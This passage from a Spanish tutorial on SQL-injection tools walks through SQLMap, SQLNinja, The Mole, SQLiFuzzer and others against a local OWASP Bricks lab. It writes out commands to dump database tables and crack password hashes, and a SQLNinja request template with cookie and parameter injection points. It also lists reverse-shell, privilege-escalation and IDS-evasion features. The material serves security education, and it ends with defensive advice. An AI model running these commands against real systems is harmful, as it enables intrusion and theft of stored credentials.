
SQLMap realiza comprobaciones de las versiones de MySQL e inyecciones de pruebas con lacláusula UNION y Orber By para obtener el número de columnas de la tabla, encontrando 8columnas en la consulta.

Se comprueban varias técnicas de inyección para determinar cuales son efectivas.

En base a las técnicas posibles a realizar, SQLMap realiza fingerprinting para recuperar lasversiones instaladas en el servidor, usuario de acceso a la base de datos y los nombres de las basesde datos.

Figura 34: SQLMap lanza varias inyecciones SQL de prueba.

Figura 35: Fingerprinting y extracción de los esquemas de bases de datos.

Page 30: Herramientas y Técnicas de Inyeción SQL

8.1.3. Recuperación de tablas

Una vez que se conocen los nombres de los esquemas de bases de datos se puede extraer lainformación de tablas con la opción --tables e indicando el nombre de base de datos con la opción-D

$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --tables -D bricks

8.1.4. Obtener columnas de una tabla

$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --columns -D bricks -T users

Figura 36: SQLMap recupera las versión de MySQL, usuario y esquemas de base de datos.

Figura 37: Recuperación de tablas en una base de datos.

Page 31: Herramientas y Técnicas de Inyeción SQL

8.1.5. Extracción de los datos de la tabla users

$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --dump -D bricks -T users

SQL recupera y almacena los datos en un fichero csv. Además determina que la columnapassword puede contener contraseñas y permite automatizar su recuperación a través de diccionario.

Figura 38: SQLMap recupera las columas de la tabla users.

Figura 39: Obtención de los datos de la tabla users.

Page 32: Herramientas y Técnicas de Inyeción SQL

8.2. SQLNinja

SqlNinja es una herramienta que permite explotar vulnerabilidades inyección SQL enaplicaciones web que usan Microsoft SQL Server como back-end. Incluye características como

• Fingerprinting.

• Extracción de datos.

• Integración con Metasploit20 para interfaz gráfica de acceso al servidor de BD.

• Envío de ejecutables a través de peticiones HTTP.

• Shellcode21 remoto o bindshell directo o inverso por puertos TCP/UDP o a través detúnel DNS o ICMP.

• Romper contraseñas por fuerza bruta con diccionarios.

• Escalada de privilegios con:

◦ Grupo sysadmin si se rompe la contraseña.

◦ churrasco.exe22 para escalada de privilegios en Windows 2003 Server.

◦ Vulnerabilidad CVE-2010-0232 en sqlservr.exe.

• Técnicas de evasión para confundir algunos IDS/IPS/WAF.

8.2.1. Instalación

SqlNinja está escrito en Perl y puede ser instalado en distribuciones de GNU/Linux, Mac oWindows. Además requiere de los módulos de NetPacket, Net-Pcap, Net-DNS, Net-RawIP, IO-Socket-SSL y DBI para perl.

A continuación se describen los pasos de instalación en Debian 7 Wheezy.

1. Instalar perl y paquete NetPacket

$ sudo apt-get install perl libnetpacket-perl libnet-pcap-perl

2. Descargar la versión establa de SQLNinja

$ wget http://sourceforge.net/projects/sqlninja/files/sqlninja/sqlninja-0.2.6-r1.tgz/download-O sqlninja-0.2.6-r1.tgz

$ tar zxvf sqlninja-0.2.6-r1.tgz

$ cd sqlninja-0.2.6-r1

20 Metasploit: http://www.metasploit.com21 Shellcode: http://en.wikipedia.org/wiki/Shellcode22 churrasco.exe, MS Windows 2k3 Token Kidnapping Local Exploit: http://www.exploit-db.com/exploits/6705

Figura 40: Recuperación de hash de contraseñas con diccionario.

Page 33: Herramientas y Técnicas de Inyeción SQL

8.2.2. Configuración

Para poder realizar ataques es necesario configurar el fichero sqlninja.conf con datos delobjetivo contra el que realizar las pruebas de pentesting.

SQLNinja incluye un fichero de configuración de ejemplo en la que se debe configurar el sitioweb de la víctima entre los parámetros de httpprequest:

$ cp sqlninja.conf.example sqlninja.conf

$ vim sqlninja.conf

## GET ## --httprequest_start-- GET http://www.target.sqlserver.com/products/page.asp?n=100';__SQL2INJECT__&other_param=blah HTTP/1.1 Host: www.target.sqlserver.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/* Accept-Language: en-us,en;q=0.7,it;q=0.3 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Connection: close --httprequest_end--

## POST ## --httprequest_start-- POST https://www.target.sqlserver.com/contactform.asp HTTP/1.0 Host: www.target.sqlserver.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/* Accept-Language: en-us,en;q=0.7,it;q=0.3 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Content-Type: application/x-www-form-urlencoded Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx Connection: close

name=12;__SQL2INJECT__&address1=blabla&[email protected]&enquiry%20type=bla&message=blablablablablabla --httprequest_end--

## Cookies ## --httprequest_start-- GET http://www.target.sqlserver.com/page.asp?n=100 HTTP/1.0 Host: www.target.sqlserver.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/* Accept-Language: en-us,en;q=0.7,it;q=0.3 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Cookie: ASPSESSIONID=xxxxx'%3B__SQL2INJECT__ Connection: close --httprequest_end--

Se debe incluir en la variable __SQL2INJECT__ con el parámetros que se desea explotar, bien en la url en parámetro GET, en parámetro POST o en la Cookie de sesión.

8.2.3. Ejecución

Se puede ejecutar en modo pruebas para comprobar si el sitio es vulnerable con el siguientecomando:

$ ./sqlninja -m test

Page 34: Herramientas y Técnicas de Inyeción SQL

Otras opciones posibles para el flag -m son:

• fingerprint

• bruteforce

• escalation

• dirshell/revshell/dnstunnel/icmptunnel

• getdata

8.3. The Mole

The Mole23 es una herramienta open source bajo licencia GPLv3 de línea de comandos ydesarrollada en Python 3. Soporta los gestores de bases de datos MySQL, SQL Server,PostgreSQL y Oracle.

Incluye un potente shell con comandos propios de la herramientas para extraer información delobjetivo. Al proporcionar una URL vulnerable y una cadena válida es capaz de detectar la inyeccióny explotarla de manera automática, ya sea mediante el uso de técnicas con la cláusula UNION o unaconsulta basada en condicionales.

Además soporta inyección a través de parámetros en GET , POST o Cookies y ofuscación paraevasión de firmas en IDS/IPS.

Se puede descargar de la página oficial el código fuente, compilado para Windows o en paquete.deb. Además está disponible en los repositorios de distribuciones de GNU/Linux basadas enDebian.

8.3.1. Instalación y ejecución

Para la instalación en un sistema Debian se puede realizar desde el repositorio.$ apt-get install themole

La instalación instalará los siguientes paquetes adicionales.libmpdec2 libpython3.4-minimal libpython3.4-stdlib python3-chardet python3-lxml python3-pkg-resources

python3.4 python3.4-minimal

8.3.2. Extracción de datos

Para ejecutar The Mole contra una aplicación web se deben indicar la url completa con losparámetros explotables y una cadena de usar en el ataque.

1. Ejecutar en terminal el siguiente comando:$ themole -u 'http://localhost/bricks/content-1/index.php?id=0' -n 'admin'

NOTA: En Windows el ejecutable es mole.exe.

23 The Mole: http://themole.sourceforge.net

Figura 41: Ejecución SQLNinja en modo test.

Page 35: Herramientas y Técnicas de Inyeción SQL

Una vez ejecutado se inicia un shell propio de la aplicación desde donde se puede obtenerinformación de la base de datos, extraer los datos o realizar consultas más personalizadas.

2. Obtener el nombre de los esquemas de base de datos.

Ejecutar schemas en el shell de The Mole.

3. Información de la base de datos.

Ejecutar dbinfo en el shell.

4. Obtener el nombre de las tablas

Ejecutar tables {nombre esquema} en el shell.

Figura 42: The Mole incluye un shell con comandos para automatizar la inyección.

Figura 43: Obtención de los esquemas de BD con The Mole.

Figura 44: Información de la base de datos con The Mole.

Page 36: Herramientas y Técnicas de Inyeción SQL

5. Obtener las columnas

Ejecutar columns {nombre esquema} {nombre tabla}

6. Extracción de datos de una tabla

Ejecutar query {nombre esquema} {tabla} {columna1,[columna2,[...]]}

7. Búsqueda de información adicional en el catálogo.

Figura 45: Obtención de nombres de tablas con The Mole

Figura 46: Obtener las columnas de una tabla con The Mole

Figura 47: Extracción de datos de una tabla con The Mole

Page 37: Herramientas y Técnicas de Inyeción SQL

8. La sentencia query soporta condicionales y límite de filas.

8.4. Otras herramientas

8.4.1. Havij

Havij24 es una herramienta de pago disponible para Windows con interfaz de usuario y soportepara Microsoft SQL Server y Mysql.

Además de las pruebas automatizadas de inyección SQL incluye almacenamiento de datosformato cvs, uso de proxy, ofuscación del código y escaneo automático de parámetros entre otros.

24 Havij: http://www.itsecteam.com/products/havij-advanced-sql-injection

Figura 48: Búsqueda de tablas en el catálogo de datos.

Figura 49: Sentencia query con condición y límite de filas.

Page 38: Herramientas y Técnicas de Inyeción SQL

8.4.2. Pangolin

Pangolin25 es una herramienta con interfaz de usuario y soporte para bases de datos Access,DB2, Informix, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, Sqlite3 y Sybase.

Algunas de sus características son soporte SSL, uso de proxy, personalización de cabecerasHTTP (user-agent, cookies), análisis automático de palabras clave, gestión de puntos de inyección.

Pangolin es una herramienta de pago disponible para Windows. Se puede descargar la versiónde pruebas en la página oficial.

8.5. SQLiFuzzer

SQLifuzzer26 es una herramienta utilizada para identificar vulnerabilidades de inyección SQL escrita en shell script. Permite realizar de forma automática inyección basada en errores, parcial y totalmente ciega (basada en tiempo).

25 Pangilon SQL Injection Tool: http://nosec.org/en/productservice/pangolin26 SQLiFuzzer: http://code.google.com/p/sqlifuzzer

Figura 50: Interfaz de Havij.

Page 39: Herramientas y Técnicas de Inyeción SQL

Incluye soporte para Microsoft SQL Server, MySQL y Oracle. Además soporta ofuscación , pruebas automatizadas con cláusulas UNION y Order By, condicionales para extraer información del gestor de base de datos, pruebas basadas en tiempos de respuesta (inyección totalmente ciega) y pruebas basadas en respuestas booleanas de inyección XPATH.

SQLiFuzzer se ejecuta en sistemas GNU/Linux. A continuación se muestran los pasos deejecución contra el entorno de pruebas de Bricks:

1. Descargar herramienta$ wget http://code.google.com/p/sqlifuzzer/downloads/detail?name=sqlifuzzer-0.6.tgz&can=2&q= -O sqlifuzzer-0.6.tgz

$ tar zxvf sqlifuzzer-0.6.tgz

$ cd sqlifuzzer-0.6

2. Ejecución./sqlifuzzer-0.5.sh

3. Pruebas contra localhost$ ./sqlifuzzer-0.5.sh -T http://localhost/bricks/content-1/index.php?id=0 -q

9. Inyección SQL en bases de datos NoSQL

También es posible realizar inyección SQL en bases de datos NoSQL o Not only SQL. Alrequerir menos restricciones relacionales y comprobaciones de coherencia a menudo ofrecenventajas de rendimiento y escalado.

Sin embargo, son vulnerables a ataques de inyección, incluso si no están usando la sintaxisSQL tradicional. Debido a que estos ataques de inyección NoSQL se pueden ejecutar dentro de unlenguaje determinado, más que en el lenguaje declarativo SQL, los impactos son mayores que lainyección de SQL tradicional.

Figura 51: Ayuda de SQLiFuzzer.

Page 40: Herramientas y Técnicas de Inyeción SQL

9.1. Inyección SQL en MongoDB

La API de la base de datos MongoDB27 recupera la información a través de llamadas binariasde JSON28 llamadas Binary JSON o BJSON. Las expresiones de JSON y JavaScript decodificadaspor la API permiten realizar consulta alternativas en varios parámetros, así la llamada a la API másutilizada que permite la entrada arbitraria JavaScript es el operador $where. Por ejemplo:

db.myCollection.find( { $where: "this.credits == this.debits" } );

Si un atacante pudiese manipular los datos enviados al operador $where, éste podría incluir código JavaScript arbitrario para ser evaluado como parte de la consulta de MongoDB.

En la página de la fundación OWASP29, proyecto de código abierto para combatir las causas que hacen el software inseguro, se puede obtener ejemplos de como se ven afectadas estas bases de datos NoSQL ante la inyección de código Javascript.

10. Conclusiones

Existen diferentes técnicas de inyección SQL. El ataque más clásico es el basado en erroresutilizando la fuerza bruta a través de los resultados obtenidos en el mismo canal. Sin embargo, caberecordar que se pueden obtener resultados a través de otros canales.

Es importante realizar una implementación correcta de las aplicaciones que acceden a la basede datos utilizando buenas prácticas de programación y evitando el uso de clases o métodosobsoletos para el acceso a la base de datos. Además, los usuarios de acceso a la base de datos debentener limitado los privilegios así como el acceso al catálogo del SGBD.

Sistemas IDS/IPS como Snort o Suricata basados en firmas permiten detectar ataques deinyección. Sin embargo, hay que tener en cuenta que un ataque puede ser ofuscado con diversastécnicas. Además, un sistema mal configurado puede ser susceptible de que los ataques pasendesapercibidos a través de canales cifrados o compresión de datos si la aplicación atacada lopermite.

Por último, existen herramientas para la detección y extracción de inyección SQL que facilitantodo el proceso de ataque o permiten realizar una auditoría sobre un sitio web o servidor de bases dedatos.

11. Referencias

• Aplicaciones para testing de Inyección SQL: http://blog.taddong.com/2011/10/hacking-vulnerable-web-applications.html

• OWASP Bricks: http://sechow.com/bricks/index.html

• SQL Injection tutorial: http://zerofreak.blogspot.com.es/2012/03/tutorial-by-zer0freak-difficulty-easy.html

27 MongoDB: http://www.mongodb.org28 JSON: www.json.org29 OWASP Testing NoSQL Inyection: https://www.owasp.org/index.php/Testing_for_NoSQL_injection

Page 41: Herramientas y Técnicas de Inyeción SQL

• Inyección SQL en PHP: http://dasunhegoda.com/php-security-fail-vulnerable/466/

• Ejemplos anti inyección de SQL para PHP: https://github.com/indieteq/PHP-MySQL-PDO-Database-Class

• Conferencia de Inyección SQL en el Centro de novas tecnoloxías de Galicia por Artur L. Pinto Monteiro : http://www.nextvision.com/uploads/com_noticias/Exitoso_Seminario_de_NextVision_sobre_SQL_Injection_en_el_Centro_de_Nuevas_Tecnologas_de_Galicia___1.pdf

• Mejores herramientas de SQLi: http://www.hackingarticles.in/best-of-hacking/best-sql-injection-tools

• SQLMap: http://sqlmap.org

• Tutorial para SQLMap: http://www.binarytides.com/sqlmap-hacking-tutorial

• SQLNinja: http://sqlninja.sourceforge.net

• Tutorial SQLNinja: http://www.elithecomputerguy.com/2013/01/23/using-sql-ninja-in-metasploit-for-basic-sql-injection-attacks

• The Mole: http://themole.sourceforge.net

• SQLifuzzer: http://code.google.com/p/sqlifuzzer

• NoSQL Inyection: https://www.owasp.org/index.php/Testing_for_NoSQL_injection